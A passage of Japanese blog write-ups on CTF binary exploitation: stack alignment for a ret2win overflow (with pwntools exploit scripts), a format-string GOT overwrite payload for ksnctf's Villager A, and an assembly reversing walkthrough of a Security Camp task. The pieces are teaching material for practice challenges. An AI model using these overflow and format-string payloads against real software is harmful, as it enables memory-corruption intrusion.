Pwnにおけるスタックのアライメント(2020/05/29)
(2022/1/17)Qiitaからhatenaに移行しました。
Beginner's Stack
Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffd3416a8f0 | 0x0000000000000000 | <-- buf +--------------------+ 0x00007ffd3416a8f8 | 0x0000000000000000 | +--------------------+ 0x00007ffd3416a900 | 0x0000000000400ad0 | +--------------------+ 0x00007ffd3416a908 | 0x00007f1ce972d190 | +--------------------+ 0x00007ffd3416a910 | 0x00007ffd3416a920 | <-- saved rbp (vuln) +--------------------+ 0x00007ffd3416a918 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffd3416a920 | 0x0000000000000000 | <-- saved rbp (main) +--------------------+ 0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main) +--------------------+ 0x00007ffd3416a930 | 0x00007f1ce972b620 | +--------------------+ 0x00007ffd3416a938 | 0x00007ffd3416aa18 | +--------------------+ Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ Address ] [ Stack ] +--------------------+ 0x00007ffd3416a8f0 | 0x4141414141414141 | <-- buf +--------------------+ 0x00007ffd3416a8f8 | 0x4141414141414141 | +--------------------+ 0x00007ffd3416a900 | 0x4141414141414141 | +--------------------+ 0x00007ffd3416a908 | 0x4141414141414141 | +--------------------+ 0x00007ffd3416a910 | 0x4141414141414141 | <-- saved rbp (vuln) +--------------------+ 0x00007ffd3416a918 | 0x4141414141414141 | <-- return address (vuln) +--------------------+ 0x00007ffd3416a920 | 0x000000000000000a | <-- saved rbp (main) +--------------------+ 0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main) +--------------------+ 0x00007ffd3416a930 | 0x00007f1ce972b620 | +--------------------+ 0x00007ffd3416a938 | 0x00007ffd3416aa18 | +--------------------+ Segmentation fault (コアダンプ)
典型的なスタックオーバーフローです。冒頭に書かれているように、0x400861
にあるwin関数を呼び出せればflagが得られます。入力前後のスタックの状態が図示されており、"vuln"のリターンアドレスが意味のない場所に参照されるとSegmentation faultで落ちます。なので、ダミー40文字+"win"のアドレスを入力することで"vuln"のリターンアドレスを書き換えます。しかし実行すると
$ python2 -c 'print "A" * 40 + "\x61\x08\x40\x00\x00\x00\x00\x00"' | ./chall 〜中略〜 Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
と言われます。RSPがずれているそうです。ここで必要なのがアラインメントです。
スタックのアラインメント
x86-64 モード用の呼び出し規約では,浮動小数点数の受け渡しは XMM0 などのレジスタを用います. メモリと XMM0 系のレジスタ間で値を転送する命令(MOVAPS や MOVAPD など)は,メモリ上の値が 16 バイト境界に配置されていることを要求します. コンパイラは,関数呼び出し時のスタックポインタが 16 バイト整列されていることを前提に,MOVAPS や MOVPAD 命令を発行します. また,他の関数を呼び出すときには必ずスタックポインタが 16 バイト整列するように調整する責任があります. 参照:https://uchan.hateblo.jp/entry/2018/02/16/232029
つまり何が言いたいかというと、コンパイラは関数を呼び出すときにスタックポインタが16(0x10)の倍数のアドレスに調整されているため、Pwnにおいてスタックを書き換えるときも同様に調節する必要があるということです。MOVAPS命令はsystem関数等の動作に影響するため、このままではシェルが起動できません。参照しているuchanさんのブログの"スタックのアライメントの実例"に詳しく書かれています。
ここではBeginner's StackにおけるRSPのアラインを考えていきます。
0000000000400861 <win>: 400861: 55 push rbp 400862: 48 89 e5 mov rbp,rsp 400865: 48 83 ec 10 sub rsp,0x10 400869: 48 89 e0 mov rax,rsp
これはwin関数の頭の部分の処理です。rbpがpushされた後にsub rsp,0x10
されています。(※図のアドレスは適当です)
本来callによってwin関数のリターンアドレスが積まれるはずが、retで呼ばれているため積まれず、rspが8byteずれていることがわかります。これの回避の仕方は以下の2通りです。(※図のアドレスは適当です)
ret gadgetを使う
1つは、適当なret gadgetを挟む方法です。ret gadgetを使ってそろえます。 まずret gadgetを探します。
gdb-peda$ ropgadget ret = 0x400626 popret = 0x400728 addesp_8 = 0x400623
0x400626
にret gadgetがあることがわかりました。retq命令はrspのメモリアドレスの値をripに格納し、rspをインクリメントします。
400626: c3 retq
exploitコードは以下です。
from pwn import * context(os="linux" , arch="i386") conn = remote('bs.quals.beginners.seccon.jp',9001) payload = "" payload += "A" * 40 payload += p64(0x400626) payload += p64(0x400861) conn.sendline(payload) conn.interactive()
Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
push rbpを飛ばす
2つめはpush rbpの後に飛ばす方法です。0x400861
のpush rbpを飛ばすことでリターンアドレス分の8byteをそろえることができます。
push rbpの次からなので、0x400862
をリターンアドレスにします。このときはret gadgetはいりません。exploitコードは以下です。
from pwn import * context(os="linux" , arch="i386") conn = remote('bs.quals.beginners.seccon.jp',9001) payload = "" payload += "A" * 40 payload += p64(0x400862) conn.sendline(payload) conn.interactive()
こちらでも同様にflagがとれました。
Format String AttackによるGOT overwrite(2020/05/02)
(2022/1/17)Qiitaからhatenaに移行しました。
GOTとは
GOT(Global Offset Table)とは、共有ライブラリのシンボルが参照されている領域です。ELFではPLT(Procedure Linkage Table)からGOTにジャンプし、共有ライブラリを参照しています。ライブラリ関数を管理している領域みたいなイメージだと思います。
参照 https://tkmr.hatenablog.com/entry/2017/02/28/030528 https://qiita.com/saikoro-steak/items/f9bf534f8fc5f2be3b0e
format string attackによるGOT overwrite
ここでは、ksnctfのVillager A(村人A)を使って説明していきます。 https://ksnctf.sweetduet.info/problem/4
format string attack
Villager Aで与えられる実行ファイルはformat string attackの脆弱性があります。 format string attack(書式文字列攻撃)とは、printf()、sprintf()などの関数が持つ脆弱性で、ユーザーが入力した文字列がそのまま出力される場合に可能となります。
char str[128]; fgets(str, 128, stdin); printf(str);
このような場合に、フォーマット指定子である%p
、%x
などを入力することでスタックのデータを読み出すことができる脆弱性です。Villager Aでは以下のような結果になります。
[q4@localhost ~]$ ./q4 What's your name? AAAA,%p,%p,%p,%p,%p,%p,%p Hi, AAAA,0x400,0x3b18c0,0x8,0x14,0x907fc4,0x41414141,0x2c70252c
"0x400"以降はスタックの値が読み出されています。ここで、ユーザーが入力した文字列が6番目の0x41414141(AAAA)、7番目の0x2c70252c(,%p,)に読み出されていることがわかりますね。この脆弱性を使い、GOT overwriteを行うことで、メモリアドレスの書き換えを行います。
攻撃の下調べ
村人Aの実行ファイル'q4'は、fopen関数がflag.txtを実行してflagを得る構造になっていますが、callされる直前にjne命令によって回避されています。よって、fopen関数を呼び出せるようにメモリアドレスを書き換えれば、flagをゲットできるということになります。 今回は、puts関数を使ってexploitします。putcharなどの関数でも可能です。
080485b4 <main>: 80485b4: 55 push ebp 80485b5: 89 e5 mov ebp,esp 80485b7: 83 e4 f0 and esp,0xfffffff0 80485ba: 81 ec 20 04 00 00 sub esp,0x420 80485c0: c7 04 24 a4 87 04 08 mov DWORD PTR [esp],0x80487a4 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov eax,ds:0x8049a04 80485d1: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80485d5: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80485dc: 00 80485dd: 8d 44 24 18 lea eax,[esp+0x18] 80485e1: 89 04 24 mov DWORD PTR [esp],eax 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 mov DWORD PTR [esp],0x80487b6 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea eax,[esp+0x18] 80485f9: 89 04 24 mov DWORD PTR [esp],eax 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 mov DWORD PTR [esp+0x418],0x1 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 mov DWORD PTR [esp],0x80487bb 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov eax,ds:0x8049a04 804862b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 804862f: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 8048636: 00 8048637: 8d 44 24 18 lea eax,[esp+0x18] 804863b: 89 04 24 mov DWORD PTR [esp],eax 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test eax,eax 8048645: 0f 94 c0 sete al 8048648: 84 c0 test al,al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov eax,0x0 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 mov DWORD PTR [esp+0x4],0x80487d1 804865d: 08 804865e: 8d 44 24 18 lea eax,[esp+0x18] 8048662: 89 04 24 mov DWORD PTR [esp],eax 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test eax,eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 mov DWORD PTR [esp],0x80487d5 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov eax,0x0 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418] 8048688: 85 c0 test eax,eax 804868a: 0f 95 c0 setne al 804868d: 84 c0 test al,al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6 8048698: 08 8048699: c7 04 24 e8 87 04 08 mov DWORD PTR [esp],0x80487e8 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov DWORD PTR [esp+0x41c],eax 80486ac: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c] 80486b3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80486b7: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80486be: 00 80486bf: 8d 44 24 18 lea eax,[esp+0x18] 80486c3: 89 04 24 mov DWORD PTR [esp],eax 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea eax,[esp+0x18] 80486cf: 89 04 24 mov DWORD PTR [esp],eax 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov eax,0x0 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
080484c4 <puts@plt>: 80484c4: ff 25 f4 99 04 08 jmp DWORD PTR ds:0x80499f4 80484ca: 68 30 00 00 00 push 0x30 80484cf: e9 80 ff ff ff jmp 8048454 <_init+0x30>
GOT領域のアドレスは、objdumpなどの逆アセンブラでも確認できますが、readelfコマンドでも同様に調べることができます。
[q4@localhost ~]$ readelf -r q4 Relocation section '.rel.dyn' at offset 0x3cc contains 2 entries: Offset Info Type Sym.Value Sym. Name 080499cc 00000106 R_386_GLOB_DAT 00000000 __gmon_start__ 08049a04 00000b05 R_386_COPY 08049a04 stdin Relocation section '.rel.plt' at offset 0x3dc contains 9 entries: Offset Info Type Sym.Value Sym. Name 080499dc 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__ 080499e0 00000307 R_386_JUMP_SLOT 00000000 putchar 080499e4 00000407 R_386_JUMP_SLOT 00000000 fgets 080499e8 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main 080499ec 00000607 R_386_JUMP_SLOT 00000000 fopen 080499f0 00000707 R_386_JUMP_SLOT 00000000 printf 080499f4 00000807 R_386_JUMP_SLOT 00000000 puts 080499f8 00000c07 R_386_JUMP_SLOT 080484d4 __gxx_personality_v0 080499fc 00000907 R_386_JUMP_SLOT 00000000 strcmp
puts関数のアドレスが0x80499f4
に書き込まれることがわかります。よって0x80499f4
をfopen関数の処理が始まる0x8048691
に書き換えればよいということになります。
Exploit
メモリの書き込みには、%n
系と呼ばれるフォーマット指定子を使います。この指定子は、指定したスタックに出力バイト数を書き込んでくれます。指定子の間に数字と$を入れることで、char型で何番目のスタックに書き込むか指定することができます(%5$n
など)。%n系には以下のような種類があります。
フォーマット指定子 | 書き込みバイト数 |
---|---|
%n | 4 |
%hn | 2 |
%hhn | 1 |
[q4@localhost ~]$ echo 'AAAA%6$hhn' | ./q4
この場合、スタックの6番目に0x41414141(AAAA)が格納され、0x41414141番地にAAAAの出力バイト数"4"が格納されます。つまり、'AAAA'の部分に書き込むアドレスと格納したい値をうまく調節してprinf関数に出力させれば、処理を自由に操れるということです。
今回は、先述したように0x80499f4
(puts関数が書き込まれるGOT領域のアドレス)を0x8048691
(fopen関数の処理が始まるアドレス)に書き換えます。結論から言うと、以下のような文字列になります。
[q4@localhost ~]$ echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
考え方
文字列の冒頭(図の赤字)の部分では、書き込み先の番地を書き込んでいます。この実行ファイルは32bitのELFのため、書き込み先の番地に格納するアドレスは32bitとなります。なので、書き込み先の番地は0x80499f4〜0x80499f7
に1byteずつ格納していきます。それぞれの番地と値は以下のようになります(図参照)。このときリトルエンディアンに注意してください。
書き込み先の番地 | 格納する値 |
---|---|
0x80499f4 | 0x91 |
0x80499f5 | 0x86 |
0x80499f6 | 0x04 |
0x80499f7 | 0x08 |
続いて、それぞれの番地に格納したい値を調節して出力させていきます。調節には、%c
という指定したバイト数だけ出力してくれるフォーマット指定子を使います。
はじめに、0x80499f4
番地に0x91(145)
を格納します。赤字の部分で既に16byte出力されているので、145(0x91の10進数)から16を引いた129byte分を%cで補います。ユーザーが出力した文字列が6番目のスタックから読み出されるため、%129c%6$hhn
となります。
次に0x80499f5
番地に0x86(134)
を格納しますが、ここで注意が必要です。既に145byte出力しているのに対して、それより下の値を書き込まなければなりません。この場合、256byte(0x100)をまたぐことで問題が解消されます。%hhn
は1byteずつ書き込む指定子のため、値の下位8bit(下2桁)しか書き込みません。256をまたぐことで16進数の桁が上がり、下2桁が00から始まるため、格納したい値が既に出力した値よりも低い場合でも、256を一区切りとして調節すればいいことになります。
以上を踏まえると、256から145を引いた値に134を足すことで、0x186となり下位2桁の0x86を書き込めます。よって%245c%7$hhn
となります。
あとの2つも同様に計算することで(図参照)GOT領域のアドレスに任意の値を格納することができます。
以上がformat string attackによるGOT overwriteの説明でした。
まとめ
村人Aを解いたのは半年以上前ですが、なぜ256を超えなければいけなのか当時1週間くらい理解できなかったのを覚えています。これはハリネズミ本にも書かれている入門テクニックなのでPwnを始めたばかりの私にとってはきちんと理解しておくべき内容でした。
@k-onishi さんのhttps://qiita.com/k-onishi/items/9cf7fc49107e6ff61115 にもほぼ同じ内容で詳しく書かれているので、こちらの記事もおすすめです。
お疲れ様でした。
セキュリティキャンプ応募課題で学ぶアセンブリ言語(2020/02/12)
(2022/1/17)Qiitaからhatenaに移行しました。
はじめに
この記事はアセンブリ言語に慣れることを目的としているため、かなり遠回りな解き方になっています。
セキュリティ・キャンプ2019 A【脆弱性・マルウェア解析トラック】問6
問題
以下にDebian 9.8(amd64)上で動作するプログラムflatteningのmain関数の逆アセンブル結果(1)とmain関数で使われているデータ領域のダンプ結果(2)があります。 このプログラムは、コマンドライン引数としてある特定の文字列を指定されたときのみ実行結果が0となり、それ以外の場合は実行結果が1となります。 この実行結果が0となる特定の文字列を探し、その文字列を得るまでに考えたことや試したこと、使ったツール、抱いた感想等について詳細に報告してください。
(*1)"objdump -d -Mintel flattening"の出力結果のうち、main関数の箇所を抜粋しました。
0000000000000530 <main>: 530: 48 8d 15 7d 03 00 00 lea rdx,[rip+0x37d] # 8b4 <_IO_stdin_used+0x4> 537: c7 44 24 f4 00 00 00 mov DWORD PTR [rsp-0xc],0x0 53e: 00 53f: 49 ba 9e fa 95 ef 92 movabs r10,0xedd5a792ef95fa9e 546: a7 d5 ed 549: 41 b9 cc ff ff ff mov r9d,0xffffffcc 54f: 90 nop 550: 8b 44 24 f4 mov eax,DWORD PTR [rsp-0xc] 554: 83 f8 0d cmp eax,0xd 557: 77 23 ja 57c <main+0x4c> 559: 48 63 04 82 movsxd rax,DWORD PTR [rdx+rax*4] 55d: 48 01 d0 add rax,rdx 560: ff e0 jmp rax 562: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] 568: c7 44 24 f4 09 00 00 mov DWORD PTR [rsp-0xc],0x9 56f: 00 570: 8b 44 24 f4 mov eax,DWORD PTR [rsp-0xc] 574: 83 c1 01 add ecx,0x1 577: 83 f8 0d cmp eax,0xd 57a: 76 dd jbe 559 <main+0x29> 57c: b8 01 00 00 00 mov eax,0x1 581: c3 ret 582: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] 588: 48 63 c1 movsxd rax,ecx 58b: c7 44 24 f4 0c 00 00 mov DWORD PTR [rsp-0xc],0xc 592: 00 593: 44 0f b6 44 04 f8 movzx r8d,BYTE PTR [rsp+rax*1-0x8] 599: eb b5 jmp 550 <main+0x20> 59b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] 5a0: 48 63 c1 movsxd rax,ecx 5a3: 45 8d 1c 08 lea r11d,[r8+rcx*1] 5a7: c7 44 24 f4 0b 00 00 mov DWORD PTR [rsp-0xc],0xb 5ae: 00 5af: 44 30 5c 04 f8 xor BYTE PTR [rsp+rax*1-0x8],r11b 5b4: eb 9a jmp 550 <main+0x20> 5b6: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 5bd: 00 00 00 5c0: 83 f9 07 cmp ecx,0x7 5c3: 0f 86 18 01 00 00 jbe 6e1 <main+0x1b1> 5c9: c7 44 24 f4 0d 00 00 mov DWORD PTR [rsp-0xc],0xd 5d0: 00 5d1: e9 7a ff ff ff jmp 550 <main+0x20> 5d6: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 5dd: 00 00 00 5e0: c7 44 24 f4 09 00 00 mov DWORD PTR [rsp-0xc],0x9 5e7: 00 5e8: 31 c9 xor ecx,ecx 5ea: e9 61 ff ff ff jmp 550 <main+0x20> 5ef: 90 nop 5f0: c7 44 24 f4 08 00 00 mov DWORD PTR [rsp-0xc],0x8 5f7: 00 5f8: 45 89 c8 mov r8d,r9d 5fb: e9 50 ff ff ff jmp 550 <main+0x20> 600: 83 f9 08 cmp ecx,0x8 603: 0f 85 73 ff ff ff jne 57c <main+0x4c> 609: c7 44 24 f4 07 00 00 mov DWORD PTR [rsp-0xc],0x7 610: 00 611: e9 3a ff ff ff jmp 550 <main+0x20> 616: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 61d: 00 00 00 620: 83 c1 01 add ecx,0x1 623: c7 44 24 f4 02 00 00 mov DWORD PTR [rsp-0xc],0x2 62a: 00 62b: e9 20 ff ff ff jmp 550 <main+0x20> 630: 48 63 c1 movsxd rax,ecx 633: 80 7c 04 f8 00 cmp BYTE PTR [rsp+rax*1-0x8],0x0 638: 0f 85 96 00 00 00 jne 6d4 <main+0x1a4> 63e: c7 44 24 f4 06 00 00 mov DWORD PTR [rsp-0xc],0x6 645: 00 646: e9 05 ff ff ff jmp 550 <main+0x20> 64b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0] 650: 4c 8b 5e 08 mov r11,QWORD PTR [rsi+0x8] 654: 48 63 c1 movsxd rax,ecx 657: c7 44 24 f4 04 00 00 mov DWORD PTR [rsp-0xc],0x4 65e: 00 65f: 45 0f b6 1c 03 movzx r11d,BYTE PTR [r11+rax*1] 664: 44 88 5c 04 f8 mov BYTE PTR [rsp+rax*1-0x8],r11b 669: e9 e2 fe ff ff jmp 550 <main+0x20> 66e: 66 90 xchg ax,ax 670: 83 f9 07 cmp ecx,0x7 673: 77 c9 ja 63e <main+0x10e> 675: c7 44 24 f4 03 00 00 mov DWORD PTR [rsp-0xc],0x3 67c: 00 67d: e9 ce fe ff ff jmp 550 <main+0x20> 682: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] 688: c7 44 24 f4 02 00 00 mov DWORD PTR [rsp-0xc],0x2 68f: 00 690: 31 c9 xor ecx,ecx 692: e9 b9 fe ff ff jmp 550 <main+0x20> 697: 66 0f 1f 84 00 00 00 nop WORD PTR [rax+rax*1+0x0] 69e: 00 00 6a0: 83 ff 02 cmp edi,0x2 6a3: 0f 85 d3 fe ff ff jne 57c <main+0x4c> 6a9: c7 44 24 f4 01 00 00 mov DWORD PTR [rsp-0xc],0x1 6b0: 00 6b1: e9 9a fe ff ff jmp 550 <main+0x20> 6b6: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 6bd: 00 00 00 6c0: 4c 39 54 24 f8 cmp QWORD PTR [rsp-0x8],r10 6c5: 74 27 je 6ee <main+0x1be> 6c7: c7 44 24 f4 0e 00 00 mov DWORD PTR [rsp-0xc],0xe 6ce: 00 6cf: e9 7c fe ff ff jmp 550 <main+0x20> 6d4: c7 44 24 f4 05 00 00 mov DWORD PTR [rsp-0xc],0x5 6db: 00 6dc: e9 6f fe ff ff jmp 550 <main+0x20> 6e1: c7 44 24 f4 0a 00 00 mov DWORD PTR [rsp-0xc],0xa 6e8: 00 6e9: e9 62 fe ff ff jmp 550 <main+0x20> 6ee: 31 c0 xor eax,eax 6f0: c3 ret 6f1: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 6f8: 00 00 00 6fb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
(*2)"objdump -s flattening"の出力結果のうち、セクション .rodata の内容を抜粋しました。
セクション .rodata の内容: 08b0 01000200 ecfdffff d4fdffff bcfdffff ................ 08c0 9cfdffff 7cfdffff 6cfdffff 4cfdffff ....|...l...L... 08d0 3cfdffff 2cfdffff 0cfdffff ecfcffff <...,........... 08e0 d4fcffff b4fcffff 0cfeffff ............
とりあえず眺める
ぱっと眺めてみて気がついたことは、
- call命令がない(main関数のみで処理が完結している)
- そこら中に
jmp 550
がある(ループしそう?) - 560に
jmp rax
がある(アドレスではなくレジスタの値が参照されている、謎) 08b0,08c0,80d0,08e0
のそれぞれ0~eまでのメモリダンプ- 1行目530のコメントアウトはメモリダンプと関係してそう(8b4)
- 581と6f0にret命令
これくらいでした。
あまりにもjmp 550
が多いことから、このプログラムは550からの処理にすべての愛を捧げていると判断したので、まずは550から読んでいきます。
550からの処理
まずeaxにDWORD PTR[rsp-0xc]の値を代入し、eaxと0xdをcmpで比較しています。537でDWORD PTR[rsp-0xc]に0x0を代入していることから、初回の処理のeaxの値は0x0であるとわかります。その後557でja命令、つまりeax>0xdとなった場合に57cへジャンプします。 ※57cからの処理は次のプロットで記述します。
ja命令について この問題はjaのような条件付きジャンプ命令が頻出するので、曖昧な方は復習するといいかもしれません。よかったらこちらの記事をどうぞ。
DWORD PTRについて DWORDは4byteとしてデータを扱うことを意味しています。ptrはデータの型を指定する演算子です。他にもWORD,QWORDなどが出てきます、下の表を参考にしてみてください。
Name Byte Bit BYTE 1 8 WORD 2 16 DWORD 4 32 QWORD 8 64
57cへジャンプしなかった場合(eax<0xdだった場合)、559でDWORD PTR[rdx+rax*4]の値を64bitに拡張(movsxd)してraxに代入します。その後rdx+raxをraxに格納し、560でraxに格納されているアドレスへジャンプします。よってraxはループの度に値が変わり、それをもとに560で様々なアドレスへjmpしていると考えられます。
ret命令(57cからの処理)
57cからの処理を見てみましょう。57cではeaxに0x1が代入され、581でretされています。eaxは一般的に関数の返り値として使われるレジスタなので、57cに飛んでしまうと返り値が1、つまり問題文の「それ以外の実行結果」になってしまいます。よって、57cにジャンプしないためにはeax<0xdである必要がある、すなわちeaxに0xe,0xfの値を代入しては行けないということがわかります。(16進数におけるdより大きな数はeとf)
もう1つのret命令を見ていきます。6f0の直前の6eeではxor eax,eax、すなわちeaxに0が格納されています。私は最初なぜ0が格納されるのか理解できなかったので、メモしておきます。
xor命令について xor命令は論理演算といわれる命令の1つで、排他的論理和と言います。
xor A,B
のとき 2つのデータが等しい(真)であれば0,等しくなければ1を格納します。xor eax,eax
の場合AとBは等しいので、eaxに0が格納されます。 詳しくはこちらをどうぞ
先程説明した通りeaxは関数の返り値であるとすると、6eeにジャンプできればゴールが見えますね。6eeにジャンプするような命令を探すと、6c5に1つだけ該当するものがあります。
6c0: 4c 39 54 24 f8 cmp QWORD PTR [rsp-0x8],r10 6c5: 74 27 je 6ee <main+0x1be>
QWORD PTR [rsp-0x8]とr10の値が等しければ6eeにジャンプできることがわかります。
raxを求める
この問題ではこのraxの演算が肝なので、ここでしっかり触れておきます。もう一度raxの部分の処理を見てみましょう。
559: 48 63 04 82 movsxd rax,DWORD PTR [rdx+rax*4] 55d: 48 01 d0 add rax,rdx 560: ff e0 jmp rax
559でDWORD PTR[rdx+rax*4]の値を64bitに拡張(movsxd)してraxに代入しますが、rdxが初見ですね。どこかでrdxに対する処理があるはずなので、これより上の処理を見てみましょう。すると、一行目に[rip+0x37d]の値がrdxに格納されていることがわかります。
530: 48 8d 15 7d 03 00 00 lea rdx,[rip+0x37d] # 8b4 <_IO_stdin_used+0x4>
ここで、コメントアウトされている8b4ってrip+0x37dなんじゃね?と悟ります。試しに0x8b4-0x37d=ripを求めると0x537(530の次の行のアドレス)になるため、rip+0x37d=0x8b4=rdxとして話を進めます。本当は同じ挙動プログラムを作りデバックするなりして検証するのが一番良いと思われます。冒頭の気づきにも書いたように、メモリダンプを見てみると、0x8b4が参照するデータは0xecだということがわかります。しかしここで1つ疑問が浮かびます。
このときrdxには0x8b4と0xec、どちらが格納されるのでしょうか?
答えは0x8b4です
私はここでつまづいたので、備忘録のためにも詳しく書いておきます。
lea命令とmov命令の違い 端的に表すと、 - leaは演算結果のアドレスをそのまま格納 - movは演算結果のアドレスが参照するデータを格納 つまり、leaはメモリアクセスを行わず、movはメモリアクセスを行う命令だということです。 ややこしいですが、慣れるしかありませんね。詳しくはこちらをどうぞ
ということで、rdxが0x8b4だということがわかりました。話を559の処理に戻します。 次にraxの値ですが、先述したようにDWORDは4byte(32bit)のデータとして扱うことを意味しているので、raxの下位4byte(32bit)、つまりeaxの値を扱うことになります。537,550の処理を踏まえるとeaxは0であることがわかりますね。
この図の通りです。ソースはこちら
ということで559の処理はrdx = 0x8b4, rax = 0となるのでDWORD PTR [0x8b4+0*4] = 0x8b4となります。しかし、ここでraxに格納されるのは0x8b4ではありません。上記の通り、movはメモリアクセスを行うので0x8b4が参照するメモリダンプのデータを4byte分(DWORD)格納することになります。つまり0x8b4,0x8b5,0x8b6,0x8b7
が指すデータなので、rax=0xfffdecとなります。(リトルエンディアンに注意!)
そして、55dで0xfffdec+0x8b4=0x6a0=raxとなり、jmp先は6a0となります。 6a0からの処理はediと0x2を比較し、値が等しくない場合に57cへジャンプするようになっています。この比較命令はコマンドライン引数の個数が1つであることを示していますが、その検証は今回は省きます。ジャンプしなかった場合はDWORD PTR [rsp-0xc]に0x1が代入され、550にjmpします。
ここで、
mov DWORD PTR [rsp-0xc],0x0
の処理が0x0から0xeまでjmp 550
間に1つ行われていることに気が付きました。
550でDWORD PTR [rsp-0xc]の値はeaxに代入され、554のcmpでeax>0xdとなると57cに飛ばされてしまいます。よって、6c7にはジャンプしてはいけないということがわかりました。
6c7: c7 44 24 f4 0e 00 00 mov DWORD PTR [rsp-0xc],0xe
jmp! jmp! jmp!
そしてここから、
550からの処理でraxを求める(rdxは固定値)
↓
jmp raxでアドレスにジャンプ
↓
飛んだ先で処理をしてjmp 550で帰ってくる
を繰り返していきます。以下はこの一連の動作を1回とし、計14回(eax=0x0~0xd)のループ(アドレスと処理)についてまとめたものです。
DWORD PTR [rdx+rax*4](以下D)の値,jmp raxの値,eaxの値,jmp先の処理
という形式とします。
1: 8b4,6a0,0x0 edi≠0x2のとき57cへジャンプ(返り値1) edi=0x2のときeax=0x1
2: 8b8,688,0x1 eax=0x2 ecx=0(xor ecx,ecx)
3: 8bc,670,0x2 ecx>0x7のとき63eへジャンプ。それ以外のときはeax=0x3 ※63eの処理 eax=0x6
4: 8c0,650,0x3 rax=ecx eax=0x4 BYTE PTR [rsp+rax*1-0x8]=r11b
5: 8c4,630,0x4 r11b≠0のとき6d4へジャンプ r11b==0ときはeax=0x6; ※6d4の処理 eax=0x5
6:8c8,620,0x5 ecx+=0x1; eax=0x2;
7:8cc,600,0x6 ecx≠0x8のとき57cにジャンプ(返り値1) ecx=0x8のときeax=0x7
8:8d0,5f0,0x7 eax=0x8 r8d=0xffffffcc ※549よりr9d=0xffffffccであるから
9:8d4,5e0,0x8 eax=0x9 ecx=0
10:8d8,5c0,0x9 ecx<=0x7のとき6e1へジャンプ それ以外のときはeax=0xd ※6e1の処理 eax=0xa
11:8dc,5a0,0xa rax=ecx r11d=[r8+rcx1]; eax=0xb BYTE PTR[rsp+rax1-0x8] xor r11b
12:8e0,588,0xb rax=ecx eax=0xc r8d=BYTE PTR[rsp=rax*1-0x8]
13:8e4,568,0xc
eax=0x9 ecx+=0x1
eax<=0xdのとき559にジャンプ それ以外のときはeax=0x1(返り値1)
※559の処理は10:と同様(eax=0x9であるため)
14:8e8,6c0,0xd 引数==r10のとき6eeにジャンプ 引数≠r10のときはeax=0xe(返り値1) ※6eeの処理 eax=0 ret(返り値0)
順に要点をまとめていきましょう。
プログラムの全体の流れは、
